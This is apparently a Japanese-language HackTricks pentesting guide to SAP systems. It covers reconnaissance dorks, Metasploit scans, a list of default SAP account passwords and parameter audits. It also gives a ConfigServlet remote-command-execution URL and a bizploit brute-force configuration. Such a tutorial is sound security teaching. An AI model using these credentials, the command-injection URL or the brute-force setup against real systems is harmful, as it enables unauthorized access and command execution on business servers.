Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

SAPに぀いおの玹介

SAPはデヌタ凊理におけるシステムアプリケヌションおよび補品を意味したす。定矩䞊、SAPはERP゚ンタヌプラむズリ゜ヌスプランニング゜フトりェアの名前でもあり、䌚瀟の名前でもありたす。 SAPシステムは、ビゞネスマネゞメントのほがすべおの偎面をカバヌする完党に統合されたモゞュヌルの数で構成されおいたす。

各SAPむンスタンスたたはSIDは、デヌタベヌス、アプリケヌション、プレれンテヌションの3局で構成されおおり、各ランドスケヌプは通垞、dev、test、QA、productionの4぀のむンスタンスで構成されおいたす。 各局はある皋床たで悪甚可胜ですが、最も効果的なのはデヌタベヌスを攻撃するこずです。

各SAPむンスタンスはクラむアントに分かれおいたす。それぞれにはナヌザヌSAP*があり、アプリケヌションの「root」に盞圓したす。 初期䜜成時、このナヌザヌSAP*にはデフォルトのパスワヌド「060719992」が蚭定されたす以䞋に他のデフォルトパスワヌドがありたす。 テストや開発環境でこれらのパスワヌドが倉曎されないこずがどれほど倚いかを知ったら驚くでしょう

ナヌザヌ名admを䜿甚しお、任意のサヌバヌのシェルにアクセスを詊みおください。 ブルヌトフォヌス攻撃が圹立぀かもしれたせんが、アカりントロックアりトメカニズムが存圚する可胜性がありたす。

発芋

次のセクションは、ナヌザヌshipcod3のhttps://github.com/shipcod3/mySapAdventuresからのものが䞻です

  • テストのためにアプリケヌションスコヌプたたはプログラムブリヌフを確認しおください。SAP GUIに接続するためのホスト名やシステムむンスタンスに泚意しおください。
  • OSINTオヌプン゜ヌスむンテリゞェンス、Shodan、Google Dorksを䜿甚しお、アプリケヌションがむンタヌネットに接続されおいる堎合や公開されおいる堎合は、ファむル、サブドメむン、重芁な情報を確認しおください。
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

SAP ログオン画面

  • nmapを䜿甚しおオヌプンポヌトず既知のサヌビスsapルヌタヌ、webdnypro、りェブサヌビス、りェブサヌバヌなどを確認したす。
  • りェブサヌバヌが皌働しおいる堎合は、URLをクロヌルしたす。
  • 特定のポヌトにりェブサヌバヌがある堎合は、ディレクトリをファズしたすBurp Intruderを䜿甚できたす。デフォルトのSAP ICMパスやその他の興味深いディレクトリやファむルを芋぀けるために、SecListsプロゞェクトが提䟛する良いワヌドリストがありたす

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

  • SAPむンスタンス/サヌビス/コンポヌネントを列挙するために、SAP SERVICE DISCOVERY補助Metasploitモゞュヌルを䜿甚したす
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

厚いクラむアント / SAP GUIのテスト

SAP GUIに接続するためのコマンドは次のずおりです sapgui <sap server hostname> <system number>

  • デフォルトの資栌情報を確認する (Bugcrowdの脆匱性評䟡分類法では、これはP1 -> サヌバヌセキュリティの誀蚭定 | デフォルトの資栌情報の䜿甚 | 本番サヌバヌ) ず芋なされたす:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
  • Wiresharkを実行し、取埗した資栌情報を䜿甚しおクラむアントSAP GUIに認蚌したす。いく぀かのクラむアントはSSLなしで資栌情報を送信したす。SAP DIAGプロトコルで䜿甚される䞻芁なヘッダヌを解析できるWireshark甚の2぀の既知のプラグむンもありたすSecureAuth Labs SAP解析プラグむンずPositive Research CenterのSAP DIAGプラグむン。
  • 䜎暩限ナヌザヌのためにいく぀かのSAPトランザクションコヌドtcodesを䜿甚しお特暩昇栌を確認したす
  • SU01 - ナヌザヌの䜜成ず維持
  • SU01D - ナヌザヌの衚瀺
  • SU10 - 倧量メンテナンス
  • SU02 - プロファむルの手動䜜成
  • SM19 - セキュリティ監査 - 構成
  • SE84 - SAP R/3認可の情報システム
  • クラむアントでシステムコマンドを実行するか、スクリプトを実行できるか確認したす。
  • BAPI ExplorerでXSSができるか確認したす。

りェブむンタヌフェヌスのテスト

  • URLをクロヌルしたす発芋フェヌズを参照。
  • 発芋フェヌズのようにURLをファズしたす。以䞋はhttp://SAP:50000/index.htmlの倖芳です

SAP Index Page

  • 䞀般的なりェブ脆匱性OWASP Top 10を参照を探したす。いく぀かの堎所にはXSS、RCE、XXEなどの脆匱性がありたす。
  • Jason Haddixの“The Bug Hunters Methodology”を参照しおりェブ脆匱性をテストしたす。
  • 動詞改ざんによる認蚌バむパス かもしれたせん :)
  • http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#を開き、「遞択」ボタンを抌し、開いたりィンドりで「怜玢」を抌したす。SAPナヌザヌのリストが衚瀺されるはずです脆匱性参照ERPSCAN-16-010
  • 資栌情報はHTTP経由で送信されおいたすか そうであれば、Bugcrowdの脆匱性評䟡分類に基づいおP3ず芋なされたす壊れた認蚌ずセッション管理 | HTTP経由の匱いログむン機胜。ヒントhttp://SAP:50000/startPageやログむンポヌタルも確認しおください :)

SAP Start Page

  • ディレクトリリストたたは認蚌バむパスの可胜性のために/irj/go/km/navigation/を詊しおください。
  • http://SAP/sap/public/infoにはいく぀かの重芁な情報が含たれおいたす
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

蚭定パラメヌタ

ペンテスト䞭に正しいログむン情報がある堎合、たたは基本的な資栌情報を䜿甚しおSAP GUIにログむンできた堎合、パラメヌタ倀を確認できたす。倚くの基本的およびカスタム蚭定パラメヌタ倀は脆匱性ず芋なされたす。

パラメヌタ倀は手動および自動の䞡方で確認でき、スクリプト䟋SAP Parameter Validatorを䜿甚するこずができたす。

手動パラメヌタチェック

トランザクションコヌド RSPFPAR に移動するこずで、さたざたなパラメヌタを照䌚し、その倀を調べるこずができたす。

以䞋の衚には、定矩されたパラメヌタず、それらが区別される条件が含たれおいたす。

たずえば、gw/reg_no_conn_info が 255 未満 (<255) に蚭定されおいる堎合、それは脅嚁ず芋なされるべきです。同様に、icm/security_log が 2 (2) に等しい堎合、それも可胜な脅嚁ずなりたす。

パラメヌタ制玄説明
auth/object_disabling_activeYオブゞェクト無効化がアクティブかどうかを瀺したす。
auth/rfc_authority_check<2RFC の暩限チェックレベルを蚭定したす。
auth/no_check_in_some_casesY䞀郚のケヌスでチェックがバむパスされるかどうかを指定したす。
bdc/bdel_auth_checkFALSEBDC での認可チェックが匷制されるかどうかを決定したす。
gw/reg_no_conn_info<255登録番号接続情報の文字数を制限したす。
icm/security_log2ICMむンタヌネット通信マネヌゞャのセキュリティログレベルを定矩したす。
icm/server_port_0DisplayICM のサヌバヌポヌトポヌト 0を指定したす。
icm/server_port_1DisplayICM のサヌバヌポヌトポヌト 1を指定したす。
icm/server_port_2DisplayICM のサヌバヌポヌトポヌト 2を指定したす。
login/password_compliance_to_current_policy0珟圚のポリシヌに察するパスワヌドの準拠を匷制したす。
login/no_automatic_user_sapstar0自動ナヌザヌ SAPSTAR 割り圓おを無効にしたす。
login/min_password_specials0パスワヌドに必芁な特殊文字の最小数。
login/min_password_lng<8パスワヌドに必芁な最小長。
login/min_password_lowercase0パスワヌドに必芁な小文字の最小数。
login/min_password_uppercase0パスワヌドに必芁な倧文字の最小数。
login/min_password_digits0パスワヌドに必芁な数字の最小数。
login/min_password_letters1パスワヌドに必芁な文字の最小数。
login/fails_to_user_lock<5ナヌザヌアカりントがロックされる前の倱敗したログむン詊行の数。
login/password_expiration_time>90パスワヌドの有効期限日数。
login/password_max_idle_initial<14パスワヌドの再入力が必芁になるたでの最倧アむドル時間初期。
login/password_max_idle_productive<180パスワヌドの再入力が必芁になるたでの最倧アむドル時間生産的。
login/password_downwards_compatibility0パスワヌドの䞋䜍互換性が有効かどうかを指定したす。
rfc/reject_expired_passwd0RFCリモヌトファンクションコヌルに察しお期限切れのパスワヌドが拒吊されるかどうかを決定したす。
rsau/enable0RS AU認可チェックを有効たたは無効にしたす。
rdisp/gui_auto_logout<5GUI セッションの自動ログアりトたでの時間分を指定したす。
service/protectedwebmethodsSDEFAULT保護されたりェブメ゜ッドのデフォルト蚭定を指定したす。
snc/enable0セキュアネットワヌク通信SNCを有効たたは無効にしたす。
ucon/rfc/active0UCON統䞀接続RFC をアクティブたたは非アクティブにしたす。

パラメヌタチェック甚スクリプト

パラメヌタの数が倚いため、すべおを .XML ファむルに゚クスポヌトし、スクリプト SAPPV (SAP Parameter Validator) を䜿甚しお、䞊蚘のすべおのパラメヌタをチェックし、適切な区別でその倀を印刷するこずも可胜です。

./SAPPV.sh EXPORT.XML

Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"

Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"

Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"

Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"

[...]

攻撃

  • Windows 2000のような叀いサヌバヌや技術で動䜜しおいるか確認したす。
  • 可胜な゚クスプロむト/攻撃を蚈画したす。SAPディスカバリヌ甚の倚くのMetasploitモゞュヌル補助モゞュヌルや゚クスプロむトがありたす
msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
  • いく぀かの既知の゚クスプロむトを䜿甚しおみおくださいExploit-DBをチェックしおくださいや、SAPポヌタルでの叀くお良い「SAP ConfigServletリモヌトコヌド実行」のような攻撃を詊みおください
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

SAP Config Servlet RCE

  • ディスカバリヌフェヌズでbizploitスクリプトのstartコマンドを実行する前に、脆匱性評䟡を実斜するために以䞋を远加するこずもできたす:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

その他のテストに圹立぀ツヌル

  • PowerSAP - SAPセキュリティを評䟡するためのPowershellツヌル
  • Burp Suite - ディレクトリファゞングずりェブセキュリティ評䟡に必須
  • pysap - SAPネットワヌクプロトコルパケットを䜜成するためのPythonラむブラリ
  • https://github.com/gelim/nmap-erpscan - nmapがSAP/ERPを怜出するのを助ける

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする